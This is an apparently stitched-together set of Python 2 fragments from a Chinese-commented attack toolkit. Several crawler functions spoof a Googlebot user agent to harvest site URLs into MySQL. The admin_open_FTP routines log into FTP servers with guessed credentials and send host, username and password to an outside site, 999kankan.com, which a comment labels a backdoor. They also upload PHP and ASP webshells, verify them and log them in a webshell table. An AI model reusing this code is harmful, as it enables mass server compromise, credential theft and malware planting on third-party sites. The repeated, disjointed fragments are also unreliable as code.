def URL_DZ(self, URL): #遍历页里的地址 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 req = urllib2.Request(URL) req.add_header( 'User-Agent', "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" ) s = urllib2.urlopen( req, timeout=10 ) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile(r'<a.+?href=.+?>.+?</a>') pname = re.compile(r'(?<=>).*?(?=</a>)') phref = re.compile(r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss) #找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i = 0 for every in sarr: if i >= 3000: print "Thread:%d-CS_openurl-URL:%s-Over 3000 URL address\n"%\ (self.Ht,URL) break else: i += 1 sname = pname.findall(every) if sname: sname = sname[0] shref = phref.findall(every) if shref: shref = shref[0] if ~self.URL_STR(shref): #判断是否是HTTP字符 a1 = self.URL_TQURL(shref) #URL提取URL if self.BOOL_2com: #是否采集2级域名 if a1: LS.liet_add(a1) #添加到数组 else: a2 = xx_com_cn_xx.get_sdomain(a1) #获取主域名 if a2: if xx_com_cn_xx.www_www(a2): #过滤违规域名 LS.liet_add(a2) #添加到数组 LS.liet_lsqc() #数组列表去重复 time.sleep(0.5) for i in range(len(LS.list_2)): if self.BOOL_com_cn: #0否1是 设置是否限制采集范围 if self.bool_for_com_cn_lis(LS.list_2[i]): #print LS.list_2[i] class_Queue.Aopenurl.put(LS.list_2[i], 0.1) else: class_Queue.Aopenurl.put(LS.list_2[i], 0.1) print "Thread:%d--list_url:%d--url:%s--time:%s" % ( self.Ht, len( LS.list_2), URL, time.strftime('%Y.%m.%d-%H.%M.%S')) except: print "Thread:%d--try-except--url:%s--time:%s" % ( self.Ht, URL, time.strftime('%Y.%m.%d-%H.%M.%S')) return 0
def getURL(self,URL): #getURL(url)用来将HTML中的url放入urls列表中 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 req = urllib2.Request(URL) req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)") s = urllib2.urlopen(req,timeout=10) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile( r'<a.+?href=.+?>.+?</a>' ) pname = re.compile( r'(?<=>).*?(?=</a>)' ) phref = re.compile( r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss)#找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i=0 for every in sarr: if i>=3000: break else: i+=1 sname = pname.findall( every ) if sname: #sname = sname[0] shref = phref.findall( every ) if shref: shref = shref[0] #print shref #获取URL http=shref[0:7] #提取http if http=="http://": LS.liet_add(shref) #添加到数组 LS.liet_lsqc() #数组列表去重复 return LS.list_2 except Exception,e: print u"getURL",e return 0
def URL_DZ(URL): #遍历页里的地址 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 s = urllib2.urlopen( URL, timeout=10) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile(r'<a.+?href=.+?>.+?</a>') pname = re.compile(r'(?<=>).*?(?=</a>)') phref = re.compile(r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss) #找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i = 0 for every in sarr: if i >= 3000: print u"超过3000个URL地址!!!!!!\n" break else: i += 1 sname = pname.findall(every) if sname: sname = sname[0] shref = phref.findall(every) if shref: shref = shref[0] #print sname.decode( 'gbk' ), "\n" #获取连接名字 #print shref #获取URL if URL_STR(shref): print shref, u"非法HTTP地址" else: #print shref #"查找到了正确URL地址" a1 = URL_TQURL(shref) #URL提取URL LS.liet_add(a1) #添加到数组 LS.liet_lsqc() #数组列表去重复 print u"原URL数据量:", len(LS.list) print u"去掉重复URL剩下数据量:", len(LS.list_2) time.sleep(1) E = 0 #得到list的第一个元素 while E < len(LS.list_2): #添加到数据库 if mysql_add(LS.list_2[E]): print "_-_" #添加成功 else: print "-_-" #添加失败 #print "\n",LS.list_2[E], E = E + 1 mysql.mysql_S() #保存数据 print u"-----------------------URL列表添加完成-----------------------" open_mysql() #读取URL # 上面是将每条<a></a>里面的内容和地址给匹配出来 except: print u"这个URL地址无效!!!!!!!!!!!!!!" mysql.mysql_S() #保存数据 open_mysql() #读取URL
def __init__(self,i): threading.Thread.__init__(self) self.TH=i self.LS = list.Clist() #初始化类 self.LS.list_del() #清空list列表 self.open_file() #读取CMS self.LS.liet_lsqc() #数组列表去重复 print "run Thread:%d cms:%s"%(self.TH,len(self.LS.list_2))
def URL_DZ(self, URL): #遍历页里的地址 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 s = urllib2.urlopen( URL, timeout=10 ) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile(r'<a.+?href=.+?>.+?</a>') pname = re.compile(r'(?<=>).*?(?=</a>)') phref = re.compile(r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss) #找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i = 0 for every in sarr: if i >= 3000: print u"----超过3000个URL地址!!!!!!----\n" break else: i += 1 sname = pname.findall(every) if sname: sname = sname[0] shref = phref.findall(every) if shref: shref = shref[0] #print shref #获取URL if ~self.URL_STR(shref): a1 = self.URL_TQURL(shref) #URL提取URL LS.liet_add(a1) #添加到数组 LS.liet_lsqc() #数组列表去重复 time.sleep(0.5) E = 0 #得到list的第一个元素 while E < len(LS.list_2): self.mysql_add(LS.list_2[E]) #添加到数据库 E = E + 1 #print u"\n-----------------------URL列表添加完成-----------------------" if self.printf >= 10: # #控制显示 print u"----线程%d--采集URL:%s原URL:%d去掉重复URL:%d---扫描过URL:%s个/URL读取失败%s个/成功添加到数据库URL:%s个--%s----" % ( self.Ht, URL, len(LS.list), len( LS.list_2), self.INI_data1, self.INI_data2, self.INI_data3, time.strftime('%Y.%m.%d-%H.%M.%S')) self.printf = 0 self.printf = self.printf + 1 if self.INI_data1 >= 3000 and self.INI_data3 >= 100000: self.INI_data1 = 0 self.INI_data2 = 0 self.INI_data3 = 0 self.open_mysql() #读取URL # 上面是将每条<a></a>里面的内容和地址给匹配出来 except: print u"----线程%d--%s这个URL地址无效!!!!!!!!!!!----" % (self.Ht, URL) self.INI_data2 = self.INI_data2 + 1 #URL获取失败 #self.sql.mysql_S() #保存数据 time.sleep(5) self.open_mysql()
def __init__(self, i): threading.Thread.__init__(self) self.TH = i self.LS = list.Clist() #初始化类 self.LS.list_del() #清空list列表 self.open_file() #读取CMS self.LS.liet_lsqc() #数组列表去重复 message_data = u"启动线程:%d cms指纹识别库:%s" % (self.TH, len(self.LS.list_2)) url_cms_QTX.Q_message.put(message_data, 1)
def admin_open_FTP(self, host, user, passwd): #遍历数组 try: self.LS = list.Clist() #初始化类 self.LS.list_del() #清空list列表 try: ftp = ftplib.FTP(host) ftp.login(user, passwd) print u"IP:%s用户名:%s密码:%s ----登陆FTP成功%s" % ( host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S') ) #消息提示 URL = "http://999kankan.com/ftppassword.php?IP=%s&user=%s&password=%s&root=3" % ( host, user, passwd) self.url_post(URL) #后门 except: print u"IP:%s用户名:%s密码:%s 连接FTP异常%s" % ( host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S') ) #消息提示 return 0 #print self.Aftp_upload(ftp,"/phpwind/") #上传后门 # self.post_url_data(host) #验证路径是否正确 # if self.ftp_delete(ftp,"/phpwind/"): #删除远程文件 # print "11111111删除成功" # else: # print "2222222删除失败" # if self.ftp_upload(ftp,"/phpwind/"): #上传文件 # print "11111111上传成功" # else: # print "2222222上传失败" E = 0 #得到list的第一个元素 if self.open_ftp(ftp): #采集要挂马的地址 print u"开始测试权限" self.LS.liet_lsqc() #数组列表去重复 while E < len(self.LS.list_2): #print self.LS.list_2[E] if self.ftp_upload(ftp, self.LS.list_2[E]): #上传文件 if self.post_url_data(host): #验证路径是否正确 self.ftp_delete(ftp, self.LS.list_2[E]) #删除远程文件 data = self.Aftp_upload(ftp, self.LS.list_2[E]) #上传后门 # http="http://"+host+"/"+data http = self.http_get(host, "/" + data) #验证地址是否存在 print http self.TXT_file(http) #写入文本 #print u"目录正确可以上传大马" #大马的文件名应该是随机的 return 1 else: self.ftp_delete(ftp, self.LS.list_2[E]) #删除远程文件 E = E + 1 return 1 except: return 0
def __init__(self, n): threading.Thread.__init__(self) self.n = n self.bool_com_cn = 0 # 0否1是 设置是否限制采集范围 self.com_cn = ".com|.cn|cc|.org|.net|.gov" self.bool_2com = 0 # 是否采集二级域名 self.com_cn_lis = [] # 分成数组 #self.urlset = VVList() self.LS = list.Clist() #初始化类 self.readcfg()
def URL_DZ(self,URL): #遍历页里的地址 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 req = urllib2.Request(URL) req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)") s = urllib2.urlopen(req,timeout=10) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile( r'<a.+?href=.+?>.+?</a>' ) pname = re.compile( r'(?<=>).*?(?=</a>)' ) phref = re.compile( r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss)#找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i=0 for every in sarr: if i>=3000: print u"Thread:%d-CS_openurl-URL:%s-提取URL>=3000 URL\n"%\ (self.Ht,URL) break else: i+=1 sname = pname.findall( every ) if sname: #sname = sname[0] shref = phref.findall( every ) if shref: shref = shref[0] #print shref #获取URL if ~self.URL_STR(shref): a1=self.URL_TQURL(shref) #URL提取URL LS.liet_add(a1) #添加到数组 LS.liet_lsqc() #数组列表去重复 time.sleep(0.3) E = 0 #得到list的第一个元素 while E < len(LS.list_2): #print LS.list_2[E] E = E + 1 if not self.CS_YM(LS.list_2[E]): #域名排除异常 #print "Thread:%d--CS_openurl--%s no add"%(self.Ht,LS.list_2[E]) continue #进入下一次环 if ~self.Aopenurl.full(): #如果队列满了 取反 self.Aopenurl.put(LS.list_2[E],0.1) try: thread.start_new_thread(self.host_ftp,(LS.list_2[E],)) time.sleep(0.1) #确保先运行Seeker中的方法 except BaseException, e: print(str(e)) return 0 # print "Thread:%d-CS_openurl-cjURL:%s-yURL:%d-qdcfURL:%d-time:%s"%\ # (self.Ht,URL,len(LS.list),len(LS.list_2),time.strftime('%Y.%m.%d-%H.%M.%S')) self.run() #读取URL
def add_Queue(TXT_file): #添加到消息队列 LS = list.Clist() #初始化类 LS.list_del() #清空list列表 xxx = file(TXT_file, 'r') for xxx_line in xxx.readlines(): #读取数据 LS.liet_add(xxx_line.strip()) #添加数据 LS.liet_lsqc() #数组列表去重复 print "list:%d list:%d" % (len(LS.list), len(LS.list_2)) for url in LS.list_2: #读取数据 class_Queue.cms_url.put(url, 1) class_Queue.Z_suliang = class_Queue.cms_url.qsize() #总数量
def URL_DZ(self,URL): #遍历页里的地址 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 req = urllib2.Request(URL) req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)") s = urllib2.urlopen(req,timeout=10) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile( r'<a.+?href=.+?>.+?</a>' ) pname = re.compile( r'(?<=>).*?(?=</a>)' ) phref = re.compile( r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss)#找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i=0 for every in sarr: if i>=3000: print "Thread:%d-CS_openurl-URL:%s-Over 3000 URL address\n"%\ (self.Ht,URL) break else: i+=1 sname = pname.findall( every ) if sname: sname = sname[0] shref = phref.findall( every ) if shref: shref = shref[0] #print shref #获取URL if ~self.URL_STR(shref): a1=self.URL_TQURL(shref) #URL提取URL LS.liet_add(a1) #添加到数组 LS.liet_lsqc() #数组列表去重复 time.sleep(0.5) #能访问到说明有效添加到 # if ~self.Bopenurl.full(): #如果队列满了 取反 # add_url=URL[7:] #替换http://字符串 # self.Bopenurl.put(add_url,1) ##http200 链接成功的网站放这 E = 0 #得到list的第一个元素 while E < len(LS.list_2): #print LS.list_2[E] E = E + 1 # if ~self.Aopenurl.full(): #如果队列满了 取反 # self.Aopenurl.put(LS.list_2[E],0.1) try: thread.start_new_thread(self.host_RUL_200,(LS.list_2[E],)) time.sleep(0.1) #确保先运行Seeker中的方法 except BaseException, e: #print e return 0 self.run() #读取URL
def URL_DZ(self,URL): try: LS = list.Clist() LS.list_del() req = urllib2.Request(URL) req.add_header('User-Agent',"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)") s = urllib2.urlopen(req,timeout=10) ss = s.read() p = re.compile( r'<a.+?href=.+?>.+?</a>' ) pname = re.compile( r'(?<=>).*?(?=</a>)' ) phref = re.compile( r'(?<=href\=\").*?(?=\")') sarr = p.findall(ss) i=0 for every in sarr: if i>=4000: print "---->4000 URL----\n" break else: i+=1 sname = pname.findall( every ) if sname: sname = sname[0] shref = phref.findall( every ) if shref: shref = shref[0] if ~self.URL_STR(shref): a1=self.URL_TQURL(shref) LS.liet_add(a1) LS.liet_lsqc() time.sleep(0.5) E = 0 while E < len(LS.list_2): self.mysql_add(LS.list_2[E]) E = E + 1 if self.printf>=10: print "----%d--URL:%sURL:%dURL%d---URL:%s/URL%s/URL:%s--%s----"%(self.Ht,URL,len(LS.list),len(LS.list_2),self.INI_data1,self.INI_data2,self.INI_data3,time.strftime('%Y.%m.%d-%H.%M.%S')) self.printf=0 self.printf=self.printf+1 if self.INI_data1>=3000 and self.INI_data3>=100000: self.INI_data1=0 self.INI_data2=0 self.INI_data3=0 self.open_mysql() except: print "----%d--%sURL NO----"%(self.Ht,URL) self.INI_data2=self.INI_data2+1 time.sleep(5) self.open_mysql()
def ofr_file(self, file_name): try: self.emit(SIGNAL("tableView_del")) #清空全部数据 LS1 = list.Clist() #初始化类 LS1.list_del() #清空list列表 xxx = file(file_name, 'r') for xxx_line in xxx.readlines(): try: data = xxx_line.strip().lstrip().rstrip('\n') LS1.liet_add(data) #添加数据 except: pass LS1.liet_lsqc() #数组列表去重复 self.emit(SIGNAL("messagebox_textEdit_add"), u"导入URL列表\n原数据量:%d\n去除重复后:%d\n开始导入" % (len(LS1.list), len(LS1.list_2))) #发送信号 for url in LS1.list_2: #读取数据 self.emit(SIGNAL("tableView_add_0"), url) #发送信号 self.emit(SIGNAL("messagebox_textEdit_add"), u"导入完成") except: pass
def open_pb_txt(self): #读取要屏蔽的内容 try: try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 xxx = file("data/pb.txt", 'r') for xxx_line in xxx.readlines(): if len(xxx_line) <= 2: continue #跳过 这一次 LS.liet_add(xxx_line.strip().lstrip()) #添加到数组 LS.liet_lsqc() #数组列表去重复 self.list_2 = LS.list_2 except Exception, e: print u"读取文件 data/pb.txt 异常" pass try: xxx = file("data/link.txt", 'r') #链接 for xxx_line in xxx.readlines(): self.link.append(xxx_line.strip().lstrip()) #添加数据+"\r\n" except Exception, e: print u"读取文件 data/link.txt 异常" pass
def __init__(self, htint, Aopenurl): threading.Thread.__init__(self) self.Ht = htint self.Aopenurl = Aopenurl self.LS = list.Clist() #初始化类 self.a = 0
def sql_sel(): #SQL查询 try: a=random.randrange(1,8) #产生一个随机数8以内的 time.sleep(a) #确保先运行Seeker中的方法 sql="select * from ftp where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): www_port(row[0]) #www转换IP在查看端口 except: print u"SQL读取URL异常!!!!!" #################################################################### #################################################################### if __name__=='__main__': global LS LS = list.Clist() #初始化类 mysql.mysql_open() #连接数据库 sql_sel() #SQL查询 # #www= "90money.com" # host= "127.0.0.1" # www_cj(host) #域名拆解 # open_txt() #打开TXT文本写入数组 # FTP_username(host) #导入密码组合方式 # LS.liet_lsqc() #数组列表去重复 # print u"数组数据量:",len(LS.list) # intps=len(LS.list_2) # print u"数组数据量去掉重复:",intps # print u"组合出%d*%d=%s 次密码" %(intps,intps,intps*intps) # print u"扫描网站FTP:%s 开始"%(host), # link_ftp(host) #TXT导入数组 组合密码 遍历连接FTP
def admin_open_FTP(self, host, user, passwd): #遍历数组 try: self.LS = list.Clist() #初始化类 self.LS.list_del() #清空list列表 try: ftp = ftplib.FTP(host) ftp.login(user, passwd) print u"IP:%s用户名:%s密码:%s ----登陆FTP成功%s" % ( host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S') ) #消息提示 except: print u"IP:%s用户名:%s密码:%s 连接FTP异常%s" % ( host, user, passwd, time.strftime('%Y.%m.%d-%H.%M.%S') ) #消息提示 return 0 #print self.PHP_Aftp_upload(ftp,"/phpwind/") #上传后门 # self.post_url_data(host) #验证路径是否正确 # if self.ftp_delete(ftp,"/phpwind/"): #删除远程文件 # print "11111111删除成功" # else: # print "2222222删除失败" # if self.ftp_upload(ftp,"/phpwind/"): #上传文件 # print "11111111上传成功" # else: # print "2222222上传失败" E = 0 #得到list的第一个元素 print u"开始采集地址" if self.open_ftp(ftp): #采集要挂马的地址 print u"开始测试权限" self.LS.liet_lsqc() #数组列表去重复 while E < len(self.LS.list_2): #print self.LS.list_2[E] if self.ftp_upload(ftp, self.LS.list_2[E]): #上传文件 if self.post_url_data(host): #验证路径是否正确 self.ftp_delete(ftp, self.LS.list_2[E]) #删除远程文件 php_data = self.PHP_Aftp_upload( ftp, self.LS.list_2[E]) #上传后门 # http="http://"+host+"/"+data if self.http_get( host, "/" + php_data): #验证地址是否存在 PHP有效就上传ASP的 php_http = "http://" + host + "/" + php_data asp_data = self.ASP_Aftp_upload( ftp, self.LS.list_2[E]) #上传后门文件 ASP asp_http = "http://" + host + "/" + asp_data if self.http_get(host, "/" + asp_data): #验证地址是否存在 self.update = "insert into webshell(IP,user,password,PHPshell,ASPshell,time) VALUES('%s','%s','%s','%s','%s','%s')" % ( host, user, passwd, php_http, asp_http, time.strftime('%Y.%m.%d-%H.%M.%S')) self.sql.mysql_update(self.update) self.sql.mysql_S() #保存数据 else: self.update = "insert into webshell(IP,user,password,PHPshell,time) VALUES('%s','%s','%s','%s','%s')" % ( host, user, passwd, php_http, time.strftime('%Y.%m.%d-%H.%M.%S')) self.sql.mysql_update(self.update) self.sql.mysql_S() #保存数据 self.TXT_file(php_http) #写入文本 #print u"目录正确可以上传大马" #大马的文件名应该是随机的 return 1 else: self.ftp_delete(ftp, self.LS.list_2[E]) #删除远程文件 E = E + 1 return 1 except: return 0